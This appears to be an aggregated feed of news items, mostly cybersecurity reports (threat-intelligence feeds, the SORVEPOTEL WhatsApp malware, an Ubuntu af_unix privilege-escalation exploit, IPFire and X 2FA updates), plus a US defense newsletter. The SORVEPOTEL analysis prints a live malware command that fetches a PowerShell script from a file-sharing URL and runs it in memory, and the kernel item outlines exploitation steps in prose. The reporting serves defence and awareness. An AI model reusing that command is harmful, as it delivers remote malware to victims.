• Organizations today face constant threats from malware, including ransomware, phishing attacks, and zero-day exploits. These threats are evolving faster than ever.

    Threat intelligence feeds emerge as a game-changer, delivering real-time, actionable data that empowers security teams to detect and neutralize attacks before they cause widespread damage.

    These feeds aggregate indicators of compromise such as IP addresses, domains, URLs, and file hashes from global sources, enriched with context like malware family labels and severity scores.

    By integrating this intelligence into security operations centers, companies can shift from reactive firefighting to proactive defense, significantly reducing breach impacts.

    ANY.RUN, a leading provider of malware analysis, illustrates this through its cloud-based sandbox platform. Drawing from over 16,000 daily user-submitted tasks by a community of 500,000 analysts and 15,000 enterprises, their feeds process indicators with proprietary algorithms to filter false positives.

    Available in STIX or MISP formats, these streams update in near real-time, offering timestamps, related objects, and external references to sandbox sessions.

    This structure allows seamless integration with SIEM, SOAR, and firewall systems, automating threat enrichment and response.

    Incident Triage 

    During incident triage, where alerts flood in and every second counts, threat intelligence feeds cut through the noise. Security analysts use them to correlate incoming signals with known IOCs, validating true positives and prioritizing high-risk events.

    For instance, if an intrusion detection system flags a suspicious IP, the feed might reveal its ties to a Lynx ransomware command-and-control server, complete with campaign details and first-seen dates.

    This context enables immediate actions like endpoint isolation, slashing mean time to detect, and minimizing resource waste on false alarms.

    In a real-world scenario, a financial institution spotted an outbound connection to an unfamiliar IP. Cross-referencing with a feed confirmed its malicious nature, linked to a ransomware group.

    The team escalated the alert, blocked the connection, and averted a data breach, all within minutes. Such capabilities not only boost compliance with regulations like GDPR but also protect revenue by preventing costly disruptions.

    Beyond triage, feeds fuel proactive threat hunting by guiding analysts through network logs and endpoint data. Hunters can correlate IOCs with tactics, techniques, and procedures, uncovering hidden anomalies like phishing domains targeting e-commerce.

    A retail firm, for example, used feed data on a new ransomware payload to scan logs, identifying and quarantining a compromised endpoint before infection spread, safeguarding customer data and brand trust.

    In post-incident analysis, feeds aid reconstruction by mapping attacks to global trends. After a manufacturing breach via spear-phishing, a team traced the incident to a nation-state actor using unpatched exploits and custom scripts.

    Feed insights prompted patches, new detection rules, and training, reducing mean time to recover and strengthening defenses against similar threats.

    Threat intelligence feeds like ANY.RUN’s deliver broader benefits, including early detection of emerging malware, faster response times, and data-driven decisions that align security with business goals.

    By automating IOC ingestion, they lower remediation costs, increase uptime, and foster a proactive posture. As cyber threats intensify, adopting these feeds isn’t just smart, it’s essential for staying ahead.

    Enhance your SOC Performance and Reduce Business Risk with TI Lookup => Try Now

    The post How Threat Intelligence Feeds Help Organizations Quickly Mitigate Malware Attacks appeared first on Cyber Security News.

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  • Threat actors tied to North Korea have been observed targeting the Web3 and blockchain sectors as part of twin campaigns tracked as GhostCall and GhostHire. According to Kaspersky, the campaigns are part of a broader operation called SnatchCrypto that has been underway since at least 2017. The activity is attributed to a Lazarus Group sub-cluster called BlueNoroff, which is also known as APT38,

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  • Developing: The U.S. Navy has evacuated hundreds of defense personnel from Naval Station Guantanamo Bay as the category-5 Hurricane Melissa barrels northeast through the Caribbean Sea. The evacuations routed nearly 900 “non-mission essential personnel” from the base in Cuba to Naval Air Station Pensacola this past weekend, Navy officials said Monday. 

    About the storm: “Hurricane Melissa is just hours from a historic, catastrophic Category 5 landfall in Jamaica today with life-threatening flash flooding, landslides, destructive winds and storm surge in one of the strongest landfalls on record anywhere in the Atlantic Basin,” the Weather Channel reported Tuesday morning. “In eastern Cuba, tropical storm winds are expected starting today, with hurricane-force winds arriving tonight into Wednesday morning.”

    In video: The U.S. Air Force shared footage of enormous swirling, fluffy clouds from high above the hurricane on Monday. The service says aircrew from its 53rd Weather Reconnaissance Squadron flew “multiple passes through the storm to collect critical weather data for the National Hurricane Center.” Pick through three videos posted to DVIDS on Monday here, here, and here

    Meanwhile: “U.S. military aircraft have continued to carry out flights off the coast of Venezuela, including a B-1B Lancer bomber mission on Monday, which skirted south of Hurricane Melissa,” the Washington Post reported Monday evening. 

    Track the course of that B-1B mission via FlightRadar24 or an open-source flight tracker posting updates to social media.

    Legal considerations: The White House’s ongoing war on alleged drug-running boats around Latin America “is bringing into sharper view a structural weakness of law as a check on the American presidency,” Charlie Savage of the New York Times reported Monday. How so? “[A]dministration officials have clammed up when asked for the legal analysis to support their assertion that there is a legal state of armed conflict that makes the killings lawful.”

    “Even in closed-door congressional briefings, according to people familiar with them, officials have provided no detailed legal answers,” Savage reports. As a result, the president “is blurring a line between enforcing the law and waging a war,” which leaves him “able to dictate his own factual and legal realities, and executive branch lawyers who want to keep their jobs must treat them as settled.”

    Expert reax: “The men and women who volunteered to serve this nation and engage in the most morally challenging conduct imaginable—killing someone who is not immediately threatening you—have a right to know the nation will not order them to engage in that deadly endeavor unless it is genuinely justified both legally and morally,” said former Army JAG Geoffrey Corn, who is now a criminal and military law professor at Texas Tech University. “The service members who conduct attacks have to live the rest of their lives with the memory,” he said. Continue reading (gift link), here

    Related reading:A federal agent’s daring plan: Recruit Maduro’s pilot to turn on the Venezuelan leader,” via the Associated Press reporting Tuesday from Miami. 

    Coverage continues below…


    Welcome to this Tuesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1922, fascists took over the Italian government, led by Benito Mussolini, whose despotic rule would last for nearly two decades.

    Defense civilians and other feds abroad are fretting about making rent during the government shutdown, Government Executive’s Eric Katz reported Monday. For civilian federal employees stationed overseas, the government shutdown—poised to enter its fourth week after a weekend of inactivity in Congress—is bringing a range of unique challenges. Among them: losing not just their pay but their various government-provided housing allowances and other stipends. 

    Eschewing political compromise to end the shutdown, President Trump has, without congressional authorization, shifted funds to ensure troops in uniform receive their pay on time. Civilians—both those furloughed and working through the shutdown—are now missing paychecks. Story, here

    Developing: Pentagon chief Pete Hegseth is planning to deliver a “major defense reform speech” on Nov. 7, Politico reported Monday. The event appears to be “the first time in recent memory a Defense secretary has assembled industry executives for a speech,” and it’s expected to happen at the National Defense University in Washington. Read more behind the paywall at Politico Pro

    Want up to 19 tons of weapons-grade plutonium? Apply at the Energy Department. Last week, DOE began taking applications from companies that want to buy plutonium as part of a program to encourage the development of nuclear reactors that might slake the needs of the power-hungry AI industry, the Financial Times reported (paywall).

    One of the likely candidates is Oklo, a “nuclear startup” that in October was chosen by DOE to join a reactor-development pilot program. Oklo is backed by, and was formerly chaired by, OpenAI CEO Sam Altman. The winning applicants are to be announced on Dec. 31, Futurism wrote in a separate article.

    Concerns? Sure. “If there were adults in the room and I could trust the federal government to impose the right standards, it wouldn’t be such a great concern, but it just doesn’t seem feasible,” Edwin Lyman, a physicist with the Union of Concerned Scientists, told the Financial Times. Read on, here.

    Additional reading: 

    Trump 2.0

    Trump and his family are in business with Gulf monarchies. That’s not news, but a lengthy new piece from Forbes traces the thickening strands of unprecedented financial entanglement between the U.S. president and the power players of a region of strategic importance.

    In crypto alone, the Trump family has made more than $800 million this year, with billions more in unrealized “on paper” gains, a Reuters examination found. “Much of that cash has come from foreign sources…” Read on, here.

    ICYMI: The president’s conflicts of interest have only grown since January, when Defense One posted a roundup. “I think that that people have essentially internalized and normalized that we have a president coming in who is going to disregard basic ethical principles and use the presidency for his own benefit, in ways that might result in decisions that are not in the interest of the American people,” CREW President Noah Bookbinder said in January. Review that, here.

    Additional reading:Peter Thiel-Backed Startup Secures $100 Million to Make Chips in U.S.,” the Wall Street Journal reported Tuesday. 

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  • A sophisticated malware campaign targeting Brazilian users has emerged with alarming capabilities.

    The Water Saci campaign, identified by Trend Micro analysts as leveraging the SORVEPOTEL malware, exploits WhatsApp as its primary distribution vector for rapid propagation across victim networks.

    First identified in September 2025, the campaign evolved dramatically by October 2025, introducing a new script-based attack chain that diverges significantly from previously observed .NET-based methods.

    The malware demonstrates remarkable resilience through multi-vector persistence mechanisms and advanced command-and-control infrastructure that grants attackers unprecedented real-time operational control over compromised systems.

    Trend Micro analysts identified that the campaign automatically distributes malicious ZIP files to all contacts and groups associated with compromised WhatsApp accounts, creating exponential spread potential.

    On October 8, 2025, researchers revealed file downloads originating from WhatsApp web sessions, specifically identifying files named Orcamento-2025*.zip.

    Rather than employing traditional .NET binaries, the evolved chain orchestrates payload delivery through a combination of Visual Basic Script downloaders and PowerShell scripts, facilitating fileless execution that evades conventional security detection methods.

    The infection mechanism begins when users download and extract malicious ZIP archives containing an obfuscated VBS downloader named Orcamento.vbs.

    New Water Saci attack chain observed (Source – Trend Micro)

    This component executes a PowerShell command that performs fileless execution via New-Object Net.WebClient, downloading and executing the PowerShell script tadeu.ps1 directly in memory.

    The deobfuscated code reveals:-

    shell. Run "powershell -ep bypass ""[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString('https://cld.pt/dl/download/ac23c304-aa9d-4d27-a845-272ec4de533d/sapotransfer-640a60194938bL1/tadeu.ps1?download=true'))"", 0, True

    Email-Based Command Infrastructure and Advanced Persistence

    The SORVEPOTEL backdoor implements a sophisticated dual-channel communication architecture that fundamentally distinguishes it from conventional banking trojans.

    Rather than relying on traditional HTTP-based command-and-control systems, the malware leverages IMAP connections to terra.com.br email accounts using hardcoded credentials to retrieve operational commands.

    This email-based infrastructure provides remarkable resilience, allowing threat actors to maintain control even when primary C&C servers face disruption.

    Upon establishing persistence through registry modifications and scheduled task creation using WinManagers.vbs in C:\ProgramData\WindowsManager\, the backdoor queries email inboxes every thirty minutes to extract multiple types of URLs including primary data endpoints, backup infrastructure URLs, and PowerShell payload delivery links.

    The malware employs an HTTP-based polling system as its secondary communication channel, sending POST requests to extracted C&C servers every five seconds with the action parameter get_commands.

    This multi-layered approach ensures operators can pause, resume, and monitor campaign activity in real time, effectively converting infected machines into a coordinated botnet.

    The backdoor executes over twenty distinct commands, ranging from system information gathering and process management to screenshot capture, file operations, and system power control, granting attackers comprehensive remote access capabilities that position SORVEPOTEL as a full-featured backdoor with sophisticated operational flexibility and devastating potential for financial institutions and enterprises across Brazil.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Water Saci Hackers Leverage WhatsApp to Deliver Multi-Vector Persistent SORVEPOTEL Malware appeared first on Cyber Security News.

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  • The Brida security testing toolkit has released version 0.6, marking a significant update that brings full compatibility with the latest Frida dynamic instrumentation framework. This new release addresses critical compatibility gaps that emerged after Frida’s major overhaul in May 2025, restoring comprehensive functionality for security researchers and penetration testers working with Burp Suite. Adapting to […]

    The post Brida Introduces New Release Offering Complete Support for Latest Frida Integration appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • A critical vulnerability in Ubuntu’s Linux kernel has been exposed, allowing local attackers to escalate privileges and potentially gain root access on affected systems.

    Disclosed at TyphoonPWN 2025, the flaw stems from a reference count imbalance in the af_unix subsystem, leading to a use-after-free (UAF) condition that researchers demonstrated with a full proof-of-concept exploit.

    This issue affects Ubuntu 24.04.2 running kernel version 6.8.0-60-generic, highlighting ongoing challenges in kernel patch management for popular distributions.​

    The root cause lies in Ubuntu’s partial implementation of upstream Linux kernel patches aimed at fixing reference-counting bugs in the af_unix domain sockets, which facilitate inter-process communication by allowing processes to send file descriptors to one another.

    Historically, the subsystem employed a garbage collection mechanism to handle circular references. Still, recent upstream changes replaced this with a new algorithm while adjusting how out-of-band (OOB) socket buffer kernel (skb) references are managed.

    Specifically, patches removed the skb_get() call in the queue_oob function within af_unix.c to prevent unnecessary refcounts on u->oob_skb, a pointer for OOB data sent via MSG_OOB flags, and correspondingly avoided decrementing it in garbage collection.​

    Ubuntu’s Kernel Privilege Escalation

    Ubuntu’s kernel, based on an older 6.8.12 version, retained the legacy garbage collection but incorrectly applied only the af_unix.c modification, omitting updates to garbage.c.

    This mismatch results in the oob_skb losing one reference during allocation, but having two decrements, one via kfree_skb in unix_gc and another in unix_release_sock during socket closure, triggering a UAF on the 256-byte struct sk_buff object from the skbuff_head_cache slab.

    SSD Disclosure noted that while both functions could free the object, practical exploitation consistently sees the free in unix_gc followed by use in unix_release_sock.​

    Exploiting this requires separating the free and use phases for reliable UAF, achieved by triggering garbage collection immediately after socket closure via a high unix_tot_inflight count (over 16,000) during a subsequent sendmsg call, which invokes wait_for_unix_gc.

    To bridge the timing gap before unix_release_sock executes as a TWA_RESUME work item post-syscall, the exploit halts execution using a FUSE filesystem mmap’d buffer in skb_copy_datagram_from_iter, sleeping the kernel thread for seconds via a custom FUSE_read handler.​

    A cross-cache attack then frees the dedicated slab, reclaiming the page with controlled pg_vec structures sprayed via packet sockets on the loopback interface.

    Overwriting the freed skb enables control over its destructor call in skb_release_head_state, providing RIP and RDI hijacking.

    KASLR bypass employs a prefetch side-channel variant of Entrybleed, using statistical timing analysis on no-KPTI systems for 100% success.

    Finally, ROP chains overwrite modprobe_path to “/tmp/x”, a shell script granting root via usermodehelper invocation.​

    The PoC, a sophisticated C exploit compiling with provided utils and FUSE components, demonstrates full privilege escalation, including KASLR leak, spraying, and payload execution.

    It won first place in TyphoonPWN 2025’s Linux category, crediting the discoverer for meticulous kernel internals analysis.

    Mitigation

    Canonical responded swiftly, releasing an updated kernel on September 18, 2025, incorporating full upstream fixes to balance refcounts across both modified files.

    Users on affected versions should update immediately via apt upgrade linux-generic, verifying kernel 6.8.0-61 or later.

    This incident underscores the risks of selective backporting in distro kernels, urging administrators to monitor security advisories closely.

    No widespread exploitation has been reported, but the public PoC elevates the urgency for patches in enterprise environments. (Word count: 412)

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Ubuntu’s Kernel Vulnerability Let Attackers Escalate Privileges and Gain Root Access appeared first on Cyber Security News.

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  • A sophisticated new Android banking Trojan named Herodotus has emerged as a significant threat to mobile users, introducing a novel approach that deliberately mimics human typing patterns to evade behavioral biometrics detection systems. The malware’s sophisticated approach to avoiding detection marks it apart from conventional banking Trojans, incorporating randomized time intervals between text inputs—ranging from […]

    The post Herodotus: New Android Malware Mimics Human Behavior to Bypass Biometric Security appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • IPFire 2.29 Core Update 198 marks a significant advancement for users of this open-source firewall, introducing enhanced Intrusion Prevention System (IPS) capabilities powered by Suricata 8.0.1.

    This release emphasizes improved network monitoring through innovative reporting tools, alongside toolchain rebasing and extensive package updates to bolster security and performance.

    Designed for both small offices and large enterprises, the update addresses long-standing user requests for better visibility into security events, ensuring administrators can respond swiftly to threats.

    The standout addition in IPFire 2.29 is the new IPS reporting suite, which transforms how network activity is tracked and documented.

    Administrators can now receive immediate email notifications for alerts exceeding a user-defined threshold, ensuring critical incidents are flagged in real-time without sifting through logs.

    Enhanced IPS Reporting Features

    Scheduled PDF reports, generated daily, weekly, or monthly, offer comprehensive summaries of all alerts in a readable format suitable for archiving or sharing with stakeholders.

    Additionally, alerts can be forwarded to remote syslog servers, providing an independent log trail that survives potential firewall compromise for robust forensic analysis.

    These features enhance auditability, allowing teams to maintain verifiable records of threat detection and response, even in adversarial scenarios.

    A sample PDF report demonstrates the clarity of these outputs, including event timelines and severity highlights. By extending IPS data beyond the device itself, IPFire strengthens operational accountability and simplifies compliance efforts.

    Upgrading to Suricata 8.0.1, the IPS now caches compiled rules for faster startups and includes more resilient memory management.

    Expanded protocol support covers DNS-over-HTTP/2, Multicast DNS, LDAP, POP3, SDP in SIP, SIP over TCP, and WebSocket, enabling deeper traffic inspection.

    On ARM architectures, the Vectorscan library optimizes pattern matching using advanced vector instructions, delivering sharper performance in resource-constrained environments.

    These enhancements ensure the IPS remains efficient against evolving threats while minimizing overhead on hardware.

    Package Security Updates

    The IPFire toolchain has been rebased on GNU Compiler Collection 15.2.0, GNU Binutils 2.42, and GNU glibc 2.42, incorporating bug fixes, security patches, and performance gains.

    A broad array of packages received updates, including BIND 9.20.13 for DNS stability, cURL 8.16.0 for secure transfers, and sudo 1.9.17p2 for privilege management improvements.

    Intel’s latest microcode addresses recent processor vulnerabilities, while GRUB has been fortified against multiple exploits.

    Notably, responsible disclosure from VulnCheck and Pellera Technologies revealed 18 web UI vulnerabilities due to insufficient input validation from browsers.

    These have been patched and assigned CVEs from 2025-34301 to 2025-34318, all rated with potential for cross-site scripting or injection if exploited by authenticated admins.

    CVE IDDescriptionBugzilla IDCVSS Score (Estimated)
    CVE-2025-34301Web UI input validation flaw#13876Medium (6.1)
    CVE-2025-34302Web UI input validation flaw#13877Medium (6.1)
    CVE-2025-34303Web UI input validation flaw#13878Medium (6.1)
    CVE-2025-34304Web UI input validation flaw#13879Medium (6.1)
    CVE-2025-34305Web UI input validation flaw#13880Medium (6.1)
    CVE-2025-34306Web UI input validation flaw#13881Medium (6.1)
    CVE-2025-34307Web UI input validation flaw#13882Medium (6.1)
    CVE-2025-34308Web UI input validation flaw#13883Medium (6.1)
    CVE-2025-34309Web UI input validation flaw#13884Medium (6.1)
    CVE-2025-34310Web UI input validation flaw#13885Medium (6.1)
    CVE-2025-34311Web UI input validation flaw#13886Medium (6.1)
    CVE-2025-34312Web UI input validation flaw#13887Medium (6.1)
    CVE-2025-34313Web UI input validation flaw#13888Medium (6.1)
    CVE-2025-34314Web UI input validation flaw#13889Medium (6.1)
    CVE-2025-34315Web UI input validation flaw#13890Medium (6.1)
    CVE-2025-34316Web UI input validation flaw#13891Medium (6.1)
    CVE-2025-34317Web UI input validation flaw#13892Medium (6.1)
    CVE-2025-34318Web UI input validation flaw#13893Medium (6.1)

    Add-on packages like HAProxy 3.2.4, nginx 1.29.1, and Samba 4.22.4 also saw updates, extending IPFire’s versatility for advanced deployments. This release solidifies IPFire’s role as a reliable, evolving security cornerstone.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Open-Source Firewall IPFire 2.29 With New Reporting For Intrusion Prevention System appeared first on Cyber Security News.

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  • Security researchers have discovered a sophisticated phishing technique that weaponizes invisible Unicode characters embedded within email subject lines using MIME encoding—a tactic that remains largely unknown among email security professionals. The discovery reveals how attackers are evolving their evasion methods to bypass automated filtering systems while maintaining complete readability to end users. During routine malware […]

    The post New Phishing Attack Using Invisible Characters Hidden in Subject Line Using MIME Encoding appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • Social media platform X announced that it will stop supporting the old Twitter.com website for two-factor authentication (2FA) by November 10, 2025. This change marks the platform’s shift away from its Twitter roots.

    Users relying on security keys tied to the old domain must re-enroll their devices to maintain account access, as part of X’s ongoing rebranding and security overhaul under Elon Musk’s leadership.

    The update targets accounts using hardware security keys for 2FA, a robust method that enhances protection against phishing and unauthorized logins.

    “By November 10, we’re asking all accounts that use a security key as their two-factor authentication method to re-enroll their key to continue accessing X,” the company stated in an official blog post.

    Users can re-enroll existing keys or register new ones via the platform’s settings, but enrolling a fresh key will deactivate any prior ones unless they are also updated.

    This change originates from X’s shift to its x.com domain following the 2023 rebrand, aiming to streamline authentication and eliminate outdated infrastructure vulnerabilities.

    Security experts praise the step, noting that legacy domain ties could expose users to domain-spoofing risks amid rising cyber threats.

    The transition has some challenges. If users do not re-enroll by the deadline, their accounts will be locked. They will then need to either update their keys, use alternatives like authenticator apps or SMS codes, or turn off 2FA completely. X strongly discourages disabling 2FA, as it is a risky choice.

    Re-enrolling ensures compatibility with X’s modern security protocols. Hardware keys, such as YubiKeys, remain a gold standard for 2FA, offering phishing-resistant logins.

    X recommends backing up multiple keys to avoid single points of failure, especially for high-profile accounts prone to targeted attacks.

    This phase-out aligns with industry trends toward domain-agnostic authentication. As cybercriminals exploit old branding for social engineering, X’s update bolsters user safety. With over 500 million users, the platform urges immediate action to prevent disruptions.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post X to Phase Out Twitter Domain – Users Advised to Re-enroll in 2FA Keys appeared first on Cyber Security News.

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